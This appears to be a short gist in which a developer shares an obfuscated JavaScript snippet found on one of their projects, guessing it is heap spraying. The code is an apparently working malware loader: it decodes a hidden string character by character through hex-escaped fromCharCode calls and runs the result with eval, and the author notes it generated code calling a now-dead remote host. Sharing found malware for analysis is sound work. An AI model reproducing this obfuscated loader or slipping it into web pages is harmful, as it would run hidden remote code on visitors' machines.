Some JS exploit found on one of my projects. Probably heap spraying.

gistfile1.js

var r57c26="";
function n99a924125ca(){
var md95c2db6 = Array.prototype.slice.call(arguments).join(""),
	x5f9144e2 = md95c2db6.substr(13,3) - 571,
	h831241b,
	md2fbec;
	md95c2db6 = md95c2db6.substr(16);
	var s191d5 = f351aa609(md95c2db6);
	for(var c3f4f318=0;c3f4f318<s191d5;c3f4f318++) {
		try{
			throw(kcead4 = md95c2db6.substr(c3f4f318,1));
		} catch(e){
			kcead4 = e;
		};
		if(kcead4=='™') {
			x5f9144e2="";
			c3f4f318 = m6e801b12(c3f4f318);
			pa28e9d8a = qd13ef042(md95c2db6,c3f4f318);
			while(pa28e9d8a!='™') { 
				x5f9144e2+=pa28e9d8a;
				c3f4f318++;
				pa28e9d8a=y758f84f(md95c2db6,c3f4f318);
			}
			x5f9144e2-=387;
			continue;
		}
		h831241b="";
		if(rdb213(kcead4)) { 
			c3f4f318++;
			kcead4 = md95c2db6.substr(c3f4f318,1);
			while(kcead4!='№')
			{
				h831241b += kcead4;
				c3f4f318++;
				kcead4 = md95c2db6.substr(c3f4f318,1);
			}
			h831241b = h831241b - x5f9144e2 - 4;
			if(h831241b < 0)
				h831241b+=256;
			if(h831241b >= 192)
				h831241b += 848;
			else if(h831241b == 168)
				h831241b=1025;
			else if(h831241b==184)
				h831241b=1105;u9ce2b(h831241b);
			continue;
		}
		e1944a7d = f11768c85(kcead4);
		if(e1944a7d > 848)
			e1944a7d-=848;
		md2fbec = e1944a7d - x5f9144e2 - 4;
		md2fbec = me7498a7(md2fbec);
		r57c26 += String["\x66\x72o\x6dC\x68a\x72Code"](md2fbec);
	}
}
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eval(r57c26);
function f351aa609(ob45130) {
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}
function m6e801b12(e866163e7) {
	return ++e866163e7;
}
function qd13ef042(m38331,jb7ab9926) {
	return m38331.substr(jb7ab9926,1);
}
function y758f84f(i10d1f8d,md5642){ 
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}
function rdb213(c629a5) {
	return c629a5=='№';
}
function u9ce2b(c48acd5c0) {
	var String = String;
	r57c26 += String["\x66\x72o\x6dC\x68a\x72Code"](c48acd5c0);
}
function me7498a7(g5885054) {
	var r12a98ade = g5885054;
	if(r12a98ade < 0)
		r12a98ade += 256;
	if(r12a98ade==168)
		r12a98ade=1025;
	else if(r12a98ade==184)
		r12a98ade=1105;
	return (r12a98ade >= 192 && r12a98ade < 256) ? r12a98ade+848 : r12a98ade;
}
function f11768c85(qfc750) {
	return (qfc750+'')["\x63\x68\x61\x72C\x6f\x64eA\x74"](0);
}

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Actually generates this code, but unfortunately the remote host is dead